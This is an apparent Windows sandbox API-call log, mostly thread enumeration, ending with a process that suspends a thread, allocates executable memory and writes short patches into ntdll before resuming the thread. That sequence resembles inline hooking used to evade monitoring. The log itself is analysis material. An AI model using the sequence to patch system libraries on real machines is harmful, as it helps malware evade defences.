[0075.978] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x170
[0075.994] Thread32First (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0075.996] GetCurrentProcessId () returned 0x139c
[0075.996] GetCurrentThreadId () returned 0x13a0
[0075.997] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0075.998] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0075.999] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0075.999] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.000] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.001] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.002] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.002] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.003] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.004] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.005] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.006] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.007] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.007] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.008] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.128] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.129] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.130] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.131] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.131] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.132] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.133] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.134] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.134] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.135] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.136] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.137] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.137] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.138] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.139] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.140] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.140] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.141] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.142] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.143] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.144] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.144] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.145] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.146] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.147] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.147] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.148] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.149] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.150] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.151] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.152] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.152] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.153] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.154] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.155] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.156] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.156] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.157] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.159] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.160] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.160] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.161] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.162] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.282] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.283] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.284] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.285] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.286] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.287] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.287] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.288] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.289] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.290] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.290] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.291] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.292] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.293] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.293] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.294] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.295] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.296] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.296] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.297] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.298] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.299] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.300] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.300] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.301] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.302] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.303] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.303] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.304] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.305] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.305] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.306] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.307] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.308] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.309] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.309] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.310] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.311] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.312] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.312] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.314] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.314] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.315] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.316] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.330] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.331] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.332] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.333] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.334] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.335] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.335] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.336] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.337] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.337] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.338] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.339] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.340] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.340] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.341] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.342] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.343] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.344] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.345] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.346] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.347] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.347] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.348] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.349] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.350] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.350] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.351] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.352] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.353] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.354] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.354] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.355] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.356] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.357] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.358] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.358] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.359] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.360] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.361] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.361] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.362] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.364] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.364] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.389] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.390] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.390] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.391] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.392] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.393] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.393] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.394] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.395] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.396] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.397] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.397] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.398] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.399] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.400] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.400] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.401] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.402] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.403] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.404] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.404] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.405] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.406] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.406] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.407] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.408] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.409] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.410] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.410] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.411] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.412] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.413] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.413] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.414] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.415] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.416] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.417] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.417] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.418] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.419] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.420] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.420] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.421] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.422] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.436] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.437] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.437] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.438] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.439] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.440] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.440] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.441] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.442] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.443] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.444] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.444] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.445] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.446] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.447] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.448] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.448] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.449] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.450] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.451] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.452] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.452] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.453] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.454] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.455] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.455] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.456] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.457] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.458] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.459] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.459] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.460] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.461] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.462] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.462] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.464] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.465] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.466] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.466] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.467] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.468] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.469] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.469] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.553] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.554] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.554] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.555] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.556] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.557] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.557] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.558] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.559] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.560] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.560] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.561] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.562] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.563] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.564] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.565] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0076.565] Thread32Next (hSnapshot=0x170, lpte=0xefe0fc) returned 1
[0077.484] OpenThread (dwDesiredAccess=0x2, bInheritHandle=0, dwThreadId=0x13a4) returned 0x174
[0077.485] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x4) returned 0xf30a10
[0077.486] CloseHandle (hObject=0x170) returned 1
[0077.488] SuspendThread (hThread=0x174) returned 0x0
[0077.490] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0xc) returned 0xf30a20
[0077.491] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0xa) returned 0xf30a38
[0077.491] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x76ed0000
[0077.493] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0xc) returned 0xf30a50
[0077.494] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x17) returned 0xf30a68
[0077.518] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x10) returned 0xf30a88
[0077.519] GetSystemInfo (in: lpSystemInfo=0xefdbb0 | out: lpSystemInfo=0xefdbb0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06))
[0077.519] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xf20000
[0077.520] GetCurrentProcess () returned 0xffffffff
[0077.520] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xf20005, lpBuffer=0xefdb94*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xefdb94*, lpNumberOfBytesWritten=0x0) returned 1
[0077.521] GetCurrentProcess () returned 0xffffffff
[0077.521] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xf2000f, lpBuffer=0xefdbd4*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xefdbd4*, lpNumberOfBytesWritten=0x0) returned 1
[0077.522] GetCurrentProcess () returned 0xffffffff
[0077.522] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x76f471a0, lpBuffer=0xefdb94*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xefdb94*, lpNumberOfBytesWritten=0x0) returned 1
[0077.526] GetCurrentProcess () returned 0xffffffff
[0077.527] VirtualProtect (in: lpAddress=0xf20000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0xefdbdc | out: lpflOldProtect=0xefdbdc*=0x40) returned 1
[0077.527] GetCurrentProcess () returned 0xffffffff
[0077.528] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x4) returned 0xf30aa0
[0077.531] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0xc) returned 0xf30ab0
[0077.531] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x13) returned 0xf30ac8
[0077.540] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x10) returned 0xf30ae8
[0077.541] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xf90000
[0077.541] GetCurrentProcess () returned 0xffffffff
[0077.541] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xf90007, lpBuffer=0xefdb94*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xefdb94*, lpNumberOfBytesWritten=0x0) returned 1
[0077.542] GetCurrentProcess () returned 0xffffffff
[0077.542] GetCurrentProcess () returned 0xffffffff
[0077.544] GetCurrentProcess () returned 0xffffffff
[0077.544] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xf90013, lpBuffer=0xefdbd4*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xefdbd4*, lpNumberOfBytesWritten=0x0) returned 1
[0077.544] GetCurrentProcess () returned 0xffffffff
[0077.545] GetCurrentProcess () returned 0xffffffff
[0077.546] GetCurrentProcess () returned 0xffffffff
[0077.546] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x76f7a1e0, lpBuffer=0xefdb94*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xefdb94*, lpNumberOfBytesWritten=0x0) returned 1
[0077.546] GetCurrentProcess () returned 0xffffffff
[0077.547] GetCurrentProcess () returned 0xffffffff
[0077.548] VirtualProtect (in: lpAddress=0xf90000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0xefdbdc | out: lpflOldProtect=0xefdbdc*=0x40) returned 1
[0077.548] GetCurrentProcess () returned 0xffffffff
[0077.549] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x8) returned 0xf30b00
[0077.549] HeapFree (in: hHeap=0xf30000, dwFlags=0x0, lpMem=0xf30aa0 | out: hHeap=0xf30000) returned 1
[0077.550] ResumeThread (hThread=0x174) returned 0x1
[0077.551] CloseHandle (hObject=0x174) returned 1
[0077.551] HeapFree (in: hHeap=0xf30000, dwFlags=0x0, lpMem=0xf30a10 | out: hHeap=0xf30000) returned 1
[0077.602] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xeff0ac*=0xcc000, NumberOfBytesToProtect=0xeff0a4, NewAccessProtection=0x20, OldAccessProtection=0xeff6c4 | out: BaseAddress=0xeff0ac*=0xcc000, NumberOfBytesToProtect=0xeff0a4, OldAccessProtection=0xeff6c4*=0x40) returned 0x0
[0077.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xeff0ac*=0x91000, NumberOfBytesToProtect=0xeff0a4, NewAccessProtection=0x20, OldAccessProtection=0xeff6c4 | out: BaseAddress=0xeff0ac*=0x91000, NumberOfBytesToProtect=0xeff0a4, OldAccessProtection=0xeff6c4*=0x40) returned 0x0
[0077.617] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xeff0ac*=0xbb000, NumberOfBytesToProtect=0xeff0a4, NewAccessProtection=0x2, OldAccessProtection=0xeff6c4 | out: BaseAddress=0xeff0ac*=0xbb000, NumberOfBytesToProtect=0xeff0a4, OldAccessProtection=0xeff6c4*=0x4) returned 0x0
[0077.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xeff0ac*=0xf1000, NumberOfBytesToProtect=0xeff0a4, NewAccessProtection=0x4, OldAccessProtection=0xeff6c4 | out: BaseAddress=0xeff0ac*=0xf1000, NumberOfBytesToProtect=0xeff0a4, OldAccessProtection=0xeff6c4*=0x20) returned 0x0
[0077.619] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xeff0ac*=0xb7d000, NumberOfBytesToProtect=0xeff0a4, NewAccessProtection=0x2, OldAccessProtection=0xeff6c4 | out: BaseAddress=0xeff0ac*=0xb7d000, NumberOfBytesToProtect=0xeff0a4, OldAccessProtection=0xeff6c4*=0x8) returned 0x0
[0077.622] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
[0077.622] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0077.623] GetProcAddress (hModule=0x76920000, lpProcName="InitializeCriticalSectionEx") returned 0x769dd740
[0077.623] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0077.623] GetProcAddress (hModule=0x76920000, lpProcName="FlsAlloc") returned 0x769e4490
[0077.623] GetProcAddress (hModule=0x76920000, lpProcName="FlsSetValue") returned 0x769dd7a0
[0077.624] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0077.624] GetProcAddress (hModule=0x76920000, lpProcName="InitializeCriticalSectionEx") returned 0x769dd740
[0077.624] GetProcessHeap () returned 0xfe0000
[0077.624] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0077.624] GetProcAddress (hModule=0x76920000, lpProcName="FlsAlloc") returned 0x769e4490
[0077.624] GetLastError () returned 0x12
[0077.624] GetProcAddress (hModule=0x76920000, lpProcName="FlsGetValue") returned 0x769cf350
[0077.625] GetProcAddress (hModule=0x76920000, lpProcName="FlsSetValue") returned 0x769dd7a0
[0077.625] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x364) returned 0xff8f38
[0077.625] SetLastError (dwErrCode=0x12)
[0077.625] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0xe00) returned 0xffb740
